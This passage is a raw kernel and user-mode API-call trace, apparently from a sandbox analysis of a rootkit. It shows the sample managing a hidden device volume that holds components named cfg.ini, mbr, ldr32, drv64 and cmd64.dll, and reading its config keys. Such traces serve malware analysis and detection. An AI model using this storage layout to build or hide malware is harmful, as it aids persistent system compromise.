_Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.161] KeEnterCriticalRegion () [0125.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.161] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.161] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.161] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.161] IdePortDispatch () returned 0x103 [0125.161] KeWaitForMutexObject () returned 0x0 [0125.161] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.161] KeLeaveCriticalRegion () [0125.161] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.161] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.161] KeEnterCriticalRegion () [0125.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.161] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb3000 [0125.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.161] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.161] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.161] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.161] IdePortDispatch () returned 0x103 [0125.161] KeWaitForMutexObject () returned 0x0 [0125.161] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.161] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.161] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.161] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.161] IdePortDispatch () returned 0x103 [0125.162] KeWaitForMutexObject () returned 0x0 [0125.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.162] KeLeaveCriticalRegion () [0125.162] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.162] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.162] KeEnterCriticalRegion () [0125.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.162] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.162] KeLeaveCriticalRegion () [0125.162] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.162] KeEnterCriticalRegion () [0125.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.162] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.162] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.162] KeLeaveCriticalRegion () [0125.162] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.162] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.162] KeEnterCriticalRegion () [0125.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.162] ExFreePoolWithTag (P=0xfffffa8003bf33d0, Tag=0x0) [0125.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.162] KeLeaveCriticalRegion () [0125.162] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.163] ReleaseMutex (hMutex=0xf0) returned 1 [0125.163] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.163] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.163] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.163] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.163] KeEnterCriticalRegion () [0125.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.163] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.163] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.163] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.163] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.163] IdePortDispatch () returned 0x103 [0125.163] KeWaitForMutexObject () returned 0x0 [0125.163] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.163] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.163] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.163] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.163] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.163] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.163] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.163] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.163] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.163] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.163] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.163] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.163] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.163] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.163] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.163] KeLeaveCriticalRegion () [0125.163] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.163] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.163] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.163] KeEnterCriticalRegion () [0125.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.163] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.163] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.164] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.164] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.164] IdePortDispatch () returned 0x103 [0125.164] KeWaitForMutexObject () returned 0x0 [0125.164] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.164] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.164] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.164] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.164] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.164] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.164] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.164] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.164] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.164] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.164] KeLeaveCriticalRegion () [0125.164] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.164] ReleaseMutex (hMutex=0x100) returned 1 [0125.164] Sleep (dwMilliseconds=0x2bf20) [0125.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6dce30d0, dwHighDateTime=0x1d24fa4)) [0125.170] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.170] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.170] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.170] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.170] KeEnterCriticalRegion () [0125.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.170] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.170] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.170] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.170] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.170] IdePortDispatch () returned 0x103 [0125.171] KeWaitForMutexObject () returned 0x0 [0125.171] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.171] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.171] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.171] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.171] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.171] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf33d0 [0125.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.171] KeLeaveCriticalRegion () [0125.171] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.171] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.171] KeEnterCriticalRegion () [0125.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.171] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.171] KeLeaveCriticalRegion () [0125.171] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.171] KeEnterCriticalRegion () [0125.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.171] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.171] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.171] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.171] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.171] IdePortDispatch () returned 0x103 [0125.171] KeWaitForMutexObject () returned 0x0 [0125.171] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.171] KeLeaveCriticalRegion () [0125.171] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.172] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.172] KeEnterCriticalRegion () [0125.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.172] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb6000 [0125.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.172] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.172] IdePortDispatch () returned 0x103 [0125.172] KeWaitForMutexObject () returned 0x0 [0125.172] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.172] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.172] IdePortDispatch () returned 0x103 [0125.172] KeWaitForMutexObject () returned 0x0 [0125.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.172] KeLeaveCriticalRegion () [0125.172] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.173] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.173] KeEnterCriticalRegion () [0125.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.173] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.173] KeLeaveCriticalRegion () [0125.173] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.173] KeEnterCriticalRegion () [0125.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.173] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.173] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.173] KeLeaveCriticalRegion () [0125.173] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.173] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.173] KeEnterCriticalRegion () [0125.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.173] ExFreePoolWithTag (P=0xfffffa8003bf33d0, Tag=0x0) [0125.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.173] KeLeaveCriticalRegion () [0125.173] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.173] ReleaseMutex (hMutex=0xf0) returned 1 [0125.173] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.173] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.173] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.173] KeEnterCriticalRegion () [0125.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.173] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.173] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.173] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.173] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.173] IdePortDispatch () returned 0x103 [0125.174] KeWaitForMutexObject () returned 0x0 [0125.174] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.174] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.174] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.174] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.174] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.174] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5890 [0125.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.174] KeLeaveCriticalRegion () [0125.174] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.174] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.174] KeEnterCriticalRegion () [0125.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.174] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.174] KeLeaveCriticalRegion () [0125.174] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.174] KeEnterCriticalRegion () [0125.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.174] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.174] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.174] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.174] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.174] IdePortDispatch () returned 0x103 [0125.174] KeWaitForMutexObject () returned 0x0 [0125.174] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.174] KeLeaveCriticalRegion () [0125.174] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.175] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.175] KeEnterCriticalRegion () [0125.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.175] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb7000 [0125.175] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.175] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.175] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.175] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.175] IdePortDispatch () returned 0x103 [0125.175] KeWaitForMutexObject () returned 0x0 [0125.175] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.175] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.175] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.175] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.175] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.175] IdePortDispatch () returned 0x103 [0125.175] KeWaitForMutexObject () returned 0x0 [0125.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.175] KeLeaveCriticalRegion () [0125.175] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.176] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.176] KeEnterCriticalRegion () [0125.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.176] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.176] KeLeaveCriticalRegion () [0125.176] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.176] KeEnterCriticalRegion () [0125.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.176] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.176] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.176] KeLeaveCriticalRegion () [0125.176] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.176] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.176] KeEnterCriticalRegion () [0125.176] ExAcquireFastMutexUnsafe (in: 